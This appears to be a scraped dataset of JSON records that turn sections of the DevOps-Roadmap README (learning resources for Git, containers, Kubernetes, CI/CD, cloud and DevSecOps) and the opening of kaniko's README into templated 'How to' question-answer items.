{"id": "gh_39218096ec18", "question": "How to: Disclaimer", "question_body": "About milanm/DevOps-Roadmap", "answer": "> The purpose of this roadmap is to give you an idea about the landscape. The road map will guide you if you are confused about what to learn next, rather than encouraging you to pick what is hype and trendy. You should grow some understanding of why one tool would be better suited for some cases than the other and remember that hype and trendy do not always mean best suited for the job.", "tags": ["milanm"], "source": "github_gists", "category": "milanm", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 18493, "answer_score": 10, "has_code": false, "url": "https://github.com/milanm/DevOps-Roadmap", "collected_at": "2026-01-16T23:31:02.057234"}
{"id": "gh_4fd0bd509b55", "question": "How to: Give a Star! :star:", "question_body": "About milanm/DevOps-Roadmap", "answer": "If you like or are using this project to learn or start your solution, please give it a star. Thanks!\n\n[![Star History Chart](https://api.star-history.com/svg?repos=milanm/DevOps-Roadmap&type=Date)](https://www.star-history.com/#milanm/DevOps-Roadmap&Date)", "tags": ["milanm"], "source": "github_gists", "category": "milanm", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 18493, "answer_score": 10, "has_code": false, "url": "https://github.com/milanm/DevOps-Roadmap", "collected_at": "2026-01-16T23:31:02.057241"}
{"id": "gh_4251b4e62827", "question": "How to: DevOps Roadmap", "question_body": "About milanm/DevOps-Roadmap", "answer": "Here is the complete DevOps roadmap.\n\n![DevOps roadmap](DevOps%20Roadmap.png)", "tags": ["milanm"], "source": "github_gists", "category": "milanm", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 18493, "answer_score": 10, "has_code": false, "url": "https://github.com/milanm/DevOps-Roadmap", "collected_at": "2026-01-16T23:31:02.057247"}
{"id": "gh_cd3599641bdf", "question": "How to: PDF version", "question_body": "About milanm/DevOps-Roadmap", "answer": "[![DevOps roadmap](pdfversion.png)](DevOps%20Roadmap.pdf)\n\nDownload [PDF version](DevOps%20Roadmap.pdf).", "tags": ["milanm"], "source": "github_gists", "category": "milanm", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 18493, "answer_score": 10, "has_code": false, "url": "https://github.com/milanm/DevOps-Roadmap", "collected_at": "2026-01-16T23:31:02.057253"}
{"id": "gh_40bbe756e8ca", "question": "How to: Table of Contents", "question_body": "About milanm/DevOps-Roadmap", "answer": "- [Learning resources for DevOps Engineers (mostly free)](#learning-resources-for-devops-engineers-mostly-free)\n  - [1. GIT](#1-git)\n  - [2. Learn one programming language](#2-learn-one-programming-language)\n  - [3. Learn Linux & Scripting](#3-learn-linux--scripting)\n  - [4. Learn Networking & Security](#4-learn-networking--security)\n  - [5. Learn Server Management](#5-learn-server-management)\n  - [6. Learn Containers](#6-learn-containers)\n  - [7. Learn Container Orchestration](#7-learn-container-orchestration)\n  - [8. Learn Infrastructure as a code (X as Code)](#8-learn-infrastructure-as-a-code-x-as-code)\n  - [9. Learn CI/CD](#9-learn-cicd)\n  - [10. Learn Monitoring & Observability](#10-learn-monitoring--observability)\n  - [11. Learn one Cloud provider](#11-learn-one-cloud-provider)\n  - [12. Learn Software Engineering Practices](#12-learn-software-engineering-practices)\n  - [Bonus: Learn DevSecOps Fundamentals](#bonus-learn-devsecops-fundamentals)\n- [Additional resources](#additional-resources)\n  - [Tools](#tools)\n  - [Books](#books)", "tags": ["milanm"], "source": "github_gists", "category": "milanm", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18493, "answer_score": 10, "has_code": false, "url": "https://github.com/milanm/DevOps-Roadmap", "collected_at": "2026-01-16T23:31:02.057262"}
{"id": "gh_ffd88a3eb983", "question": "How to: 2. Learn one programming language", "question_body": "About milanm/DevOps-Roadmap", "answer": "As an engineer, it is recommended to know at least one programming language that you can use to write **automation scripts**.\n\nSome popular programming languages for DevOps-es are **Python, Go, and JavaScript**.\n\nPython is a multi-paradigm language. Being an interpreted language, code is executed as soon as it is written, and the syntax allows for writing code in different ways. **Python** is frequently recommended as the first language new coders should learn, because of its focus on readability, consistency, and ease of use. \n\nHere you need to learn basic concepts of programming languages, such as syntax, if/else, loops, data structures, etc.\n\n**Resources:**\n\n- Python:\n  - [Automate the Boring Stuff with Python book](https://automatetheboringstuff.com/)\nFREE\n- [Python Crash Course](https://ehmatthes.github.io/pcc/)\nFREE\n- JavaScript:\n  - [The Modern JavaScript Tutorial](https://javascript.info/)\nFREE\n- [JavaScript Crash Course For Beginners](https://www.youtube.com/watch?v=hdI2bqOjy3c)\nFREE\n- [Eloquent JavaScript, 3rd edition](https://eloquentjavascript.net/), Marjin Haverbeke\nFREE book\n- Go\n  - [Go by Example](https://gobyexample.com/)\nFREE\n- [Learn Go with Tests](https://quii.gitbook.io/learn-go-with-tests)\nFREE", "tags": ["milanm"], "source": "github_gists", "category": "milanm", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18493, "answer_score": 10, "has_code": false, "url": "https://github.com/milanm/DevOps-Roadmap", "collected_at": "2026-01-16T23:31:02.057275"}
{"id": "gh_ee0fa1fc972c", "question": "How to: 4. Learn Networking & Security", "question_body": "About milanm/DevOps-Roadmap", "answer": "A **network protocol** is an established set of rules that determine how data is transmitted between different devices in the same network. Essentially, it allows connected devices to communicate with each other, regardless of any differences in their internal processes, structure, or design. \n\nHere you will need to know how a network works, how to configure **firewalls**, understand how **DNS** works, **OSI model**, IP addresses, ports, etc.\n\n**Resources:**\n\n- [OSI Model Explained](https://www.cloudflare.com/en-gb/learning/ddos/glossary/open-systems-interconnection-model-osi/)\nFREE\n- [Computer Networking: A Top-Down Approach](https://www.amazon.com/Computer-Networking-Top-Down-Approach-7th/dp/0133594149)\nbook\n[Video Content](https://www.youtube.com/playlist?list=PLByK_3hwzY3Tysh-SY9MKZhMm9wIfNOas)\nvideo\n- [TCP/IP and Networking Fundamentals for IT Pros](https://www.pluralsight.com/courses/tcpip-networking-it-pros)\nPluralsight course\n- [DevSecOps : Master Securing CI/CD | DevOps Pipeline](https://www.udemy.com/course/devsecops/)\nUdemy course\n- [Hands-On Security in DevOps: Ensure continuous security, deployment, and delivery with DevSecOps](https://www.amazon.com/Hands-Security-DevOps-continuous-deployment/dp/1788995503)\nBook\n- [Securing DevOps: Security in the Cloud](https://www.amazon.com/Securing-DevOps-Security-Julien-Vehent/dp/1617294136/)\nBook\n- [Professor Messers Network+ course](https://www.professormesser.com/network-plus/n10-008/n10-008-video/n10-008-training-course/)\nFREE\n- [How DNS works](https://howdns.works/)\n- [How DNSSEC works](https://howdnssec.works/)\n- [How HTTPS works](https://howhttps.works/)", "tags": ["milanm"], "source": "github_gists", "category": "milanm", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18493, "answer_score": 10, "has_code": false, "url": "https://github.com/milanm/DevOps-Roadmap", "collected_at": "2026-01-16T23:31:02.057293"}
{"id": "gh_0ee1a6545d25", "question": "How to: 5. Learn Server Management", "question_body": "About milanm/DevOps-Roadmap", "answer": "Server management includes all the infrastructure monitoring and maintenance required for servers to operate reliably and at optimal performance levels. The primary goals of an **effective server management strategy** are to:\n\n- Minimize server slowdowns and downtime while maximizing reliability.\n- Build secure server environments.\n- Scale servers and related operations to meet the needs of the organization over time.\n\nHere you will need to know what is **forward and reverse proxies**, **caching servers**, and how to operate **Web Servers**, such as Nginx, Apache, or IIS.\n\n**Resources:**\n\n- [What is a reverse proxy?](https://www.cloudflare.com/en-gb/learning/cdn/glossary/reverse-proxy/)\nFREE\n- [What is a CDN edge server??](https://www.cloudflare.com/learning/cdn/glossary/edge-server/)\nFREE\n- [Cache Server](https://networkencyclopedia.com/cache-server/)\nFREE\n- [Reverse Proxy vs. Forward Proxy: The Differences](https://oxylabs.io/blog/reverse-proxy-vs-forward-proxy)\nFREE\n- [What is load balancing?](https://www.cloudflare.com/en-gb/learning/performance/what-is-load-balancing/)\nFREE\n- [What is a Firewall?](https://www.checkpoint.com/cyber-hub/network-security/what-is-firewall/)\nFREE\n- [The NGINX Handbook](https://www.freecodecamp.org/news/the-nginx-handbook/)\nFREE\n- [Learn Apache Server](https://www.twaino.com/en/blog/website-creation/apache-server-2/)\nFREE\n- [Learn IIS](https://www.dnsstuff.com/windows-iis-server-tools)\nFREE", "tags": ["milanm"], "source": "github_gists", "category": "milanm", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18493, "answer_score": 10, "has_code": false, "url": "https://github.com/milanm/DevOps-Roadmap", "collected_at": "2026-01-16T23:31:02.057301"}
{"id": "gh_f14798c89772", "question": "How to: 6. Learn Containers", "question_body": "About milanm/DevOps-Roadmap", "answer": "A **container** is a standard unit of software that packages up code and all its dependencies, so the application runs quickly and reliably from one computing environment to another. \n\n**Docker** is by far the most popular container technology today. A Docker container image is a lightweight, standalone, executable package of software that includes everything needed to run an application: code, runtime, system tools, system libraries, and settings. \n\nHere you need to know how to run containers, Docker Networking, Volumes, Dockerfiles, and run multiple containers with Docker-Compose.\n\nDocker Compose is important as pre-requisite for Kubernetes. It is a tool for defining and running multi-container Docker applications. With Compose, you use a YAML file to configure your application’s services. Then, with a single command, you create and start all the services from your configuration.\n\n**Resources:**\n\n- [What are Containers?](https://cloud.google.com/learn/what-are-containers)\nFREE\n- [Learning Containers From The Bottom Up](https://iximiuz.com/en/posts/container-learning-path/)\nFREE\n- [Docker Crash Course for Absolute Beginners by TechWorld with Nana](https://www.youtube.com/watch?v=pg19Z8LL06w)\nFREE\n- [Docker Tutorial for Beginners by TechWorld with Nana](https://www.youtube.com/watch?v=3c-iBn73dDE)\nFREE\n- [Ultimate Docker Compose Tutorial by TechWorld with Nana](https://www.youtube.com/watch?v=SXwC9fSwct8)\nFREE\n- [Docker Mastery: with Kubernetes + Swarm from a Docker Captain](https://www.udemy.com/course/docker-mastery/)\nUdemy course\n- [What is Service Mesh?](https://www.redhat.com/en/topics/microservices/what-is-a-service-mesh)\nFREE\n- [DevOps with Kubernetes](https://devopswithkubernetes.com/)\nFREE\n- [OCI Specification](https://github.com/opencontainers/image-spec/blob/main/spec.md)", "tags": ["milanm"], "source": "github_gists", "category": "milanm", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 18493, "answer_score": 10, "has_code": false, "url": "https://github.com/milanm/DevOps-Roadmap", "collected_at": "2026-01-16T23:31:02.057315"}
{"id": "gh_8908e1d20858", "question": "How to: 7. Learn Container Orchestration", "question_body": "About milanm/DevOps-Roadmap", "answer": "Container orchestration **automates** the deployment, management, scaling, and networking of containers. \n\nContainer orchestration can be used in any environment where you use containers. It can help you to deploy the same application across different environments without needing to redesign it. And microservices in containers make it easier to orchestrate services, including storage, networking, and security. \n\nHere you need to learn how **Kubernetes** works, and how to administer the Kubernetes cluster and deploy applications on it.\n\nYou need to know basic components of Kubernetes, such as: Master Node, Worker Node, Pod, ReplicaSet, Deployment, Service, Ingress, ConfigMap, Secret, PersistentVolume, PersistentVolumeClaim, StatefulSet, DaemonSet, Job and CronJob.\n\nAlso, you need to know how to work with kubectl and Helm tools.\n\n**Resources:**\n\n- [Kubernetes Crash Course for Absolute Beginners by TechWorld with Nana](https://www.youtube.com/watch?v=s_o8dwzRlu4)\nFREE\n- [Primer: How Kubernetes Came to Be, What It Is, and Why You Should Care](https://thenewstack.io/primer-how-kubernetes-came-to-be-what-it-is-and-why-you-should-care/)\nArticle\n- [Certified Kubernetes Administrator (CKA) with Practice Tests](https://www.udemy.com/course/certified-kubernetes-administrator-with-practice-tests/)\nUdemy course\n- [Learn Kubernetes - Beginners to Advanced by KodeKloud](https://kodekloud.com/learning-path-kubernetes/)\nCourse\n- [Understand when to use Cluster Services, Ingresses or API Gateways](https://gateway-api.sigs.k8s.io)\nFREE\n- [Understand which Problems Service Mesh solve (Use an Abstraction smi-spec.io](https://linkerd.io/2.12/features/)\nFREE\n- [Learn how to automate TLS](https://cert-manager.io/docs/) and  [DNS](https://github.com/kubernetes-sigs/external-dns)\nFREE\n- [Kubernetes Up and Running](https://www.amazon.com/_/dp/1491935677?tag=oreilly20-20)\nBook\n- [Kubernetes Learning Path - 50 days from zero to hero from Microsoft](https://azure.microsoft.com/en-us/resources/kubernetes-learning-path/)\nFREE\n- [Below Kubernetes: Demystifying container runtimes](https://www.youtube.com/watch?v=MDsjINTL7Ek)\nFREE", "tags": ["milanm"], "source": "github_gists", "category": "milanm", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 18493, "answer_score": 10, "has_code": false, "url": "https://github.com/milanm/DevOps-Roadmap", "collected_at": "2026-01-16T23:31:02.057325"}
{"id": "gh_c644b0ef0dcc", "question": "How to: 8. Learn Infrastructure as a code (X as Code)", "question_body": "About milanm/DevOps-Roadmap", "answer": "Sometimes referred to as **IaC**, it refers to the techniques and tools used to define infrastructure, typically in a markup language like YAML or JSON. Infrastructure as code allows Engineers to automate environment setup and teardown. Accelerates and de-risks deployment by provisioning gold copy environments on demand.\n\n**Terraform** is the most popular infrastructure provisioning tool, but there are others such as Ansible, Chef, Puppet, and Vagrant.\n\nHere you need to know how to do **infrastructure provisioning** and **configuration management**.\n\n**Resources:**\n\n- [GUIs, CLI, APIs: Learn Basic Terms of Infrastructure-as-Code](https://thenewstack.io/guis-cli-apis-learn-basic-terms-of-infrastructure-as-code/)\nFREE\n- Terraform:\n    - [Official Terraform Tutorials](https://learn.hashicorp.com/terraform)\nFREE\n- [A Comprehensive Guide to Terraform](https://blog.gruntwork.io/a-comprehensive-guide-to-terraform-b3d32832baca)\nFREE\n- [Automate Terraform documentation like a pro!](https://medium.com/google-cloud/automate-terraform-documentation-like-a-pro-ed3e19998808)\nFREE\n- [Writing reusable Terraform modules](https://thomasthornton.cloud/2022/06/02/writing-reusable-terraform-modules/)\nFREE\n- [Terraform Course - Automate your AWS cloud infrastructure](https://www.youtube.com/watch?v=SLB_c_ayRMo)\nFREE\n- [HashiCorp Terraform Associate Certification Course](https://www.youtube.com/watch?v=SPcwo0Gq9T8)\nFREE\n- [Terraform on Azure](https://learn.microsoft.com/en-us/azure/developer/terraform/overview)\nFREE\n- Puppet:\n    - [Puppet overview](https://puppet.com/docs/puppet/latest/puppet_overview.html)\nFREE\n- [Puppet Courses](https://training.puppet.com/)\nFREE and PAID\n- Chef:\n    - [Learn Chef](https://learn.chef.io/)\nFREE\n- Ansible:\n    - [Getting Started With Ansible](https://docs.ansible.com/ansible/latest/getting_started/)\nFREE\n- [Learning Ansible Basics](https://www.redhat.com/en/topics/automation/learning-ansible-tutorial)\n    - [Get started with Red Hat Ansible](https://www.ansible.com/resources/get-started)\nFREE and PAID\n- [Mastering Ansible](https://www.udemy.com/course/mastering-ansible/)\nUdemy Course\nFREE", "tags": ["milanm"], "source": "github_gists", "category": "milanm", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 18493, "answer_score": 10, "has_code": true, "url": "https://github.com/milanm/DevOps-Roadmap", "collected_at": "2026-01-16T23:31:02.057335"}
{"id": "gh_c3abf034fd78", "question": "How to: 9. Learn CI/CD", "question_body": "About milanm/DevOps-Roadmap", "answer": "Continuous Integration / Continuous Deployment (CI/CD) is a method to frequently deliver apps to customers by introducing **automation** into the stages of app development. CI/CD is a solution to the problems integrating new code can cause for development and operations teams.\n\nCI/CD introduces continuous automation and **continuous** monitoring throughout the lifecycle of apps, from integration and testing phases to delivery and deployment. These connected practices are often referred to as a \"**CI/CD pipeline**\" and are supported by development and operations teams.\n\nThere are **different stages** of a CI/CD pipeline, such as: **build, test and deploy**, but there could be much more activities included:\n\n- Checking code from version control and building it\n- Having staged gates for different kinds of approvals\n- Managing environment variables\n- Restarting services\n- Executing tests\n- And more...\n\nHere you need to learn how to set up CI/CD server, integrate code and trigger pipelines automatically, store and read secrets, and build and package management tools.\n\nSome **popular CI/CD tools** are: Jenkins, TeamCity, CircleCI, Bamboo, GitLab, and Azure DevOps.\n\n**Resources:**\n\n- [Continuous Integration](https://martinfowler.com/articles/continuousIntegration.html)\nFREE\n- [CI/CD Pipeline: A Gentle Introduction](https://semaphoreci.com/blog/cicd-pipeline)\nFREE\n- Jenkins:\n    - [Jenkins, From Zero To Hero: Become a DevOps Jenkins Master](https://www.udemy.com/course/jenkins-from-zero-to-hero)\nUdemy course\n- Azure DevOps:\n    - [Learn Azure DevOps](https://milan.milanovic.org/post/ci-cd-with-azure-devops-yaml/)\nFREE\n- GitHub Actions:\n    - [Learn GitHub actions](https://learn.microsoft.com/en-us/users/githubtraining/collections/n5p4a5z7keznp5)\nFREE\n- [GitHub Actions Tutorial by Tech World with Nana](https://www.youtube.com/watch?v=R8_veQiYBjI)\nFREE\n- [Workflow syntax for GitHub Actions](https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions)\nFREE\n- GitLab:\n    - [Learn GitLab with tutorials](https://docs.gitlab.com/ee/tutorials/)\nFREE\n- [GitLab CI CD Tutorial for Beginners by Tech World With Nana](https://www.youtube.com/watch?v=qP8kir2GUgo)\nFREE\n- [Get started with GitLab CI/CD](https://docs.gitlab.com/ee/ci/quick_start/)\nFREE\n- [GitLab Cheatsheets](https://dev.to/jphi_baconnais/series/12928)\nFREE", "tags": ["milanm"], "source": "github_gists", "category": "milanm", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 18493, "answer_score": 10, "has_code": true, "url": "https://github.com/milanm/DevOps-Roadmap", "collected_at": "2026-01-16T23:31:02.057346"}
{"id": "gh_f655e2984520", "question": "How to: 10. Learn Monitoring & Observability", "question_body": "About milanm/DevOps-Roadmap", "answer": "Monitoring entails overseeing the entire development process from planning, development, integration and testing, deployment, and operations. It involves a complete and **real-time view** of the status of applications, services, and infrastructure in the production environment.\n\nThis is especially important when our software is in **production**, and we need to track all kinds of issues in our infrastructure and application.\n\nThe two most popular tools are **Prometheus** and **Grafana**, but also Cloud-based tools such as AWS CloudWatch, Azure Monitor, and Google Cloud Monitoring.\n\nHere you need to know how to set up monitoring and visualize data, crating and setting up alerting, and creating automatization during alerting.\n\n**Resources:**\n\n- [What Is Observability? Comprehensive Beginners Guide](https://devopscube.com/what-is-observability/)\nFREE\n- [The Hows, Whys and Whats of Monitoring Microservices](https://thenewstack.io/the-hows-whys-and-whats-of-monitoring-microservices/)\nFREE\n- [DevOps Monitoring](https://www.atlassian.com/devops/devops-tools/devops-monitoring)\nFREE\n- [Applying Basic vs. Advanced Monitoring Techniques](https://thenewstack.io/applying-basic-vs-advanced-monitoring-techniques/)\nFREE\n- [Learn Prometheus](https://prometheus.io/docs/tutorials/getting_started/)\nFREE\n- [Learn Grafana](https://grafana.com/tutorials/)\nFREE\n- [Beautiful Dashboards with Grafana and Prometheus](https://www.youtube.com/watch?v=fzny5uUaAeY)\nFREE\n- [Elastic Stack](https://www.elastic.co/guide/index.html)\nFREE\n- [AWS Tutorial - Amazon CloudWatch Tutorial](https://www.youtube.com/watch?v=qVYnlxdEebE)\nFREE\n- [Datadog 101 Course](https://www.youtube.com/watch?v=Js06FTU3nXo)\nFREE\n- [Splunk Fundamentals](https://www.splunk.com/en_us/training/splunk-fundamentals.html)\nFREE", "tags": ["milanm"], "source": "github_gists", "category": "milanm", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18493, "answer_score": 10, "has_code": false, "url": "https://github.com/milanm/DevOps-Roadmap", "collected_at": "2026-01-16T23:31:02.057356"}
{"id": "gh_d50cb50a3f64", "question": "How to: 11. Learn one Cloud provider", "question_body": "About milanm/DevOps-Roadmap", "answer": "Cloud providers provide a layer of APIs to abstract infrastructure and provision it based on security and billing boundaries. The cloud runs on servers in data centers, but the abstractions cleverly give the appearance of interacting with a single \"platform\" or large application. The ability to quickly provision, configure and secure resources with cloud providers has been key to both the tremendous success, and complexity, of modern DevOps.\n\nThe most popular cloud providers in the market are **AWS** and **Azure**, as well as **Google Cloud**.\n\nHere you need to know how to manage users and administration, networks, virtual servers, etc.\n\n**Resources:**\n\n- [Serverless 101 - Serverless Land](https://serverlessland.com/learn/serverless-101)\nFREE\n- Azure:\n    - [Exam AZ-900: Microsoft Azure Fundamentals](https://learn.microsoft.com/en-us/certifications/exams/az-900)\nFREE\n- [Microsoft Azure Fundamentals Certification Course (AZ-900)](https://www.youtube.com/watch?v=NKEFWyqJ5XA)\nFREE\n- [AZ-900 | Microsoft Azure Fundamentals Full Course, Free Practice Tests, Website and Study Guides](https://www.youtube.com/watch?v=NPEsD6n9A_I&list=PLGjZwEtPN7j-Q59JYso3L4_yoCjj2syrM)\nFREE\n- AWS:\n    - [Ultimate AWS Certified Cloud Practitioner - 2022](https://www.udemy.com/course/aws-certified-cloud-practitioner-new)\nUdemy\n- [AWS Developer by A Cloud Guru](https://acloudguru.com/learning-paths/aws-developer)\nLearning path\n- [AWS Well-Architected](https://aws.amazon.com/architecture/well-architected/)\nFREE\n- Google Cloud:\n    - [Google Cloud Associate Cloud Engineer Course](https://www.youtube.com/watch?v=jpno8FSqpc8)\nFREE\n- [Google Cloud Well-Architected Framework](https://cloud.google.com/architecture/framework)\nFREE", "tags": ["milanm"], "source": "github_gists", "category": "milanm", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 18493, "answer_score": 10, "has_code": true, "url": "https://github.com/milanm/DevOps-Roadmap", "collected_at": "2026-01-16T23:31:02.057364"}
{"id": "gh_e6dfa7db47fd", "question": "How to: 12. Learn Software Engineering Practices", "question_body": "About milanm/DevOps-Roadmap", "answer": "As a DevOps engineer, you will probably work in a team with other developers in an Agile world, such as **Scrum**. So, it is very important to know different parts of **SDLC**, as well as the tools which are used there.\n\nIn addition, it would be good to know how **automation testing** is working, as you will need to set up it in CI/CD way.\n\nHere you need to know what is **Scrum**, all phases of **SDLC**, how **automation testing** works, etc.\n\n**Resources:**\n\n- [What is Scrum?](https://www.atlassian.com/agile/scrum)\nFREE\n- [Ways To Learn About Scrum](https://www.scrum.org/resources/ways-learn-about-scrum)\nFREE\n- [Software Development Life Cycle (SDLC) Phases & Models](https://www.guru99.com/software-development-life-cycle-tutorial.html)\nFREE\n- [The Beginner's Guide to Agile in Jira: Course description](https://university.atlassian.com/student/page/1117976-the-beginner-s-guide-to-agile-in-jira-course-description?sid_i=8)\nFREE\n- [Learn SAFe](https://www.scaledagileframework.com/)\nFREE\n- [Learn Automation Testing](https://blog.testproject.io/2020/03/26/automation-testing-for-beginners-ultimate-guide/)\nFREE\n- [GitLab - Beginner's Guide to DevOps](https://page.gitlab.com/resources-ebook-beginners-guide-devops.html)\nFREE\n- [Common SDLC Models](https://www.scaler.com/blog/software-development-life-cycle/#common-sdlc-models)\nFREE", "tags": ["milanm"], "source": "github_gists", "category": "milanm", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18493, "answer_score": 10, "has_code": false, "url": "https://github.com/milanm/DevOps-Roadmap", "collected_at": "2026-01-16T23:31:02.057381"}
{"id": "gh_fe4f6de83038", "question": "How to: Bonus: Learn DevSecOps Fundamentals", "question_body": "About milanm/DevOps-Roadmap", "answer": "Security must be integrated throughout the DevOps lifecycle rather than added as an afterthought.\n\nHere you will need to learn how to integrate security into the DevOps pipeline, and how to automate security testing (SAST and DAST).\n\nAlso, you need to know how to manage secrets and credentials, and how to set up security policies.\n\n**Resources:**\n\n- [OWASP DevSecOps Guideline](https://owasp.org/www-project-devsecops-guideline/)\nFREE\n- [Supply Chain Levels for Software Artifacts (SLSA)](https://slsa.dev/)\nFREE\n- [HashiCorp Vault Documentation](https://developer.hashicorp.com/vault/docs)\nFREE\n- [Trivy Documentation](https://trivy.dev/latest/)\nFREE\n- [Falco Runtime Security](https://falco.org/docs/)\nFREE\n- [DevSecOps: A leader's guide](https://www.devsecops.org/)\nFREE\n- [Container Security](https://www.oreilly.com/library/view/container-security/9781492056690/) book", "tags": ["milanm"], "source": "github_gists", "category": "milanm", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18493, "answer_score": 10, "has_code": false, "url": "https://github.com/milanm/DevOps-Roadmap", "collected_at": "2026-01-16T23:31:02.057389"}
{"id": "gh_9f6357a1f5e1", "question": "How to: DevOps as a Burger (DaaB)", "question_body": "About milanm/DevOps-Roadmap", "answer": "We can even present this roadmap as a burger :).\n\n![DevOps as a Burger](DevOpsBurger.jpg)", "tags": ["milanm"], "source": "github_gists", "category": "milanm", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 18493, "answer_score": 10, "has_code": false, "url": "https://github.com/milanm/DevOps-Roadmap", "collected_at": "2026-01-16T23:31:02.057402"}
{"id": "gh_a7b30b79241c", "question": "How to: Contribution", "question_body": "About milanm/DevOps-Roadmap", "answer": "- Open a pull request with improvements\n- Discuss ideas in issues\n- Spread the word", "tags": ["milanm"], "source": "github_gists", "category": "milanm", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 18493, "answer_score": 10, "has_code": false, "url": "https://github.com/milanm/DevOps-Roadmap", "collected_at": "2026-01-16T23:31:02.057408"}
{"id": "gh_62148b0b4458", "question": "How to: 🚨NOTE: kaniko is not an officially supported Google product🚨", "question_body": "About GoogleContainerTools/kaniko", "answer": "[![Unit tests](https://github.com/GoogleContainerTools/kaniko/actions/workflows/unit-tests.yaml/badge.svg)](https://github.com/GoogleContainerTools/kaniko/actions/workflows/unit-tests.yaml)\n[![Integration tests](https://github.com/GoogleContainerTools/kaniko/actions/workflows/integration-tests.yaml/badge.svg)](https://github.com/GoogleContainerTools/kaniko/actions/workflows/integration-tests.yaml)\n[![Build images](https://github.com/GoogleContainerTools/kaniko/actions/workflows/images.yaml/badge.svg)](https://github.com/GoogleContainerTools/kaniko/actions/workflows/images.yaml)\n[![Go Report Card](https://goreportcard.com/badge/github.com/GoogleContainerTools/kaniko)](https://goreportcard.com/report/github.com/GoogleContainerTools/kaniko)\n\n![kaniko logo](logo/Kaniko-Logo.png)\n\nkaniko is a tool to build container images from a Dockerfile, inside a container\nor Kubernetes cluster.\n\nkaniko doesn't depend on a Docker daemon and executes each command within a\nDockerfile completely in userspace. This enables building container images in\nenvironments that can't easily or securely run a Docker daemon, such as a\nstandard Kubernetes cluster.\n\nkaniko is meant to be run as an image: `gcr.io/kaniko-project/executor`. We do\n**not** recommend running the kaniko executor binary in another image, as it\nmight not work as you expect - see [Known Issues](#known-issues).\n\nWe'd love to hear from you! Join us on\n[#kaniko Kubernetes Slack](https://kubernetes.slack.com/messages/CQDCHGX7Y/)\n\n:mega: **Please fill out our\n[quick 5-question survey](https://forms.gle/HhZGEM33x4FUz9Qa6)** so that we can\nlearn how satisfied you are with kaniko, and what improvements we should make.\nThank you! :dancers:\n\n_If you are interested in contributing to kaniko, see\n[DEVELOPMENT.md](DEVELOPMENT.md) and [CONTRIBUTING.md](CONTRIBUTING.md)._\n**Table of Contents** _generated with\n[DocToc](https://github.com/thlorenz/doctoc)_\n\n- [kaniko - Build Images In Kubernetes](#kaniko---build-images-in-kubernetes)\n  - [🚨NOTE: kaniko is not an officially supported Google product🚨](#note-kaniko-is-not-an-officially-supported-google-product)\n  - [Community](#community)\n  - [How does kaniko work?](#how-does-kaniko-work)\n  - [Known Issues](#known-issues)\n  - [Demo](#demo)\n  - [Tutorial](#tutorial)\n  - [Using kaniko](#using-kaniko)\n    - [kaniko Build Contexts](#kaniko-build-contexts)\n    - [Using Azure Blob Storage](#using-azure-blob-storage)\n    - [Using Private Git Repository](#using-private-git-repository)\n    - [Using Standard Input](#using-standard-input)\n    - [Running kaniko](#running-kaniko)\n      - [Running kaniko in a Kubernetes cluster](#running-kaniko-in-a-kubernetes-cluster)\n        - [Kubernetes secret](#kubernetes-secret)\n      - [Running kaniko in gVisor](#running-kaniko-in-gvisor)\n      - [Running kaniko in Google Cloud Build](#running-kaniko-in-google-cloud-build)\n      - [Running kaniko in Docker](#running-kaniko-in-docker)\n    - [Caching](#caching)\n      - [Caching Layers](#caching-layers)\n      - [Caching Base Images](#caching-base-images)\n    - [Pushing to Different Registries](#pushing-to-different-registries)\n      - [Pushing to Docker Hub](#pushing-to-docker-hub)\n      - [Pushing to Google GCR](#pushing-to-google-gcr)\n      - [Pushing to GCR using Workload Identity](#pushing-to-gcr-using-workload-identity)\n      - [Pushing to Amazon ECR](#pushing-to-amazon-ecr)\n      - [Pushing to Azure Container Registry](#pushing-to-azure-container-registry)\n      - [Pushing to JFrog Container Registry or to JFrog Artifactory](#pushing-to-jfrog-container-registry-or-to-jfrog-artifactory)\n    - [Additional Flags](#additional-flags)\n      - [Flag `--build-arg`](#flag---build-arg)\n      - [Flag `--cache`](#flag---cache)\n      - [Flag `--cache-dir`](#flag---cache-dir)\n      - [Flag `--cache-repo`](#flag---cache-repo)\n      - [Flag `--cache-copy-layers`](#flag---cache-copy-layers)\n      - [Flag `--cache-run-layers`](#flag---cache-run-layers)\n      - [Flag `--cache-ttl duration`](#flag---cache-ttl-duration)\n      - [Flag `--cleanup`](#flag---cleanup)\n      - [Flag `--compressed-caching`](#flag---compressed-caching)\n      - [Flag `--context-sub-path`](#flag---context-sub-path)\n      - [Flag `--custom-platform`](#flag---custom-platform)\n      - [Flag `--digest-file`](#flag---digest-file)\n      - [Flag `--dockerfile`](#flag---dockerfile)\n      - [Flag `--force`](#flag---force)\n      - [Flag `--git`](#flag---git)\n      - [Flag `--image-name-with-digest-file`](#flag---image-name-with-digest-file)\n      - [Flag `--image-name-tag-with-digest-file`](#flag---image-name-tag-with-digest-file)\n      - [Flag `--insecure`](#flag---insecure)\n      - [Flag `--insecure-pull`](#flag---insecure-pull)\n      - [Flag `--insecure-registry`](#flag---insecure-registry)\n      - [Flag `--label`](#flag---label)\n      - [Flag `--log-format`](#flag", "tags": ["GoogleContainerTools"], "source": "github_gists", "category": "GoogleContainerTools", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 15736, "answer_score": 10, "has_code": true, "url": "https://github.com/GoogleContainerTools/kaniko", "collected_at": "2026-01-16T23:31:03.928728"}
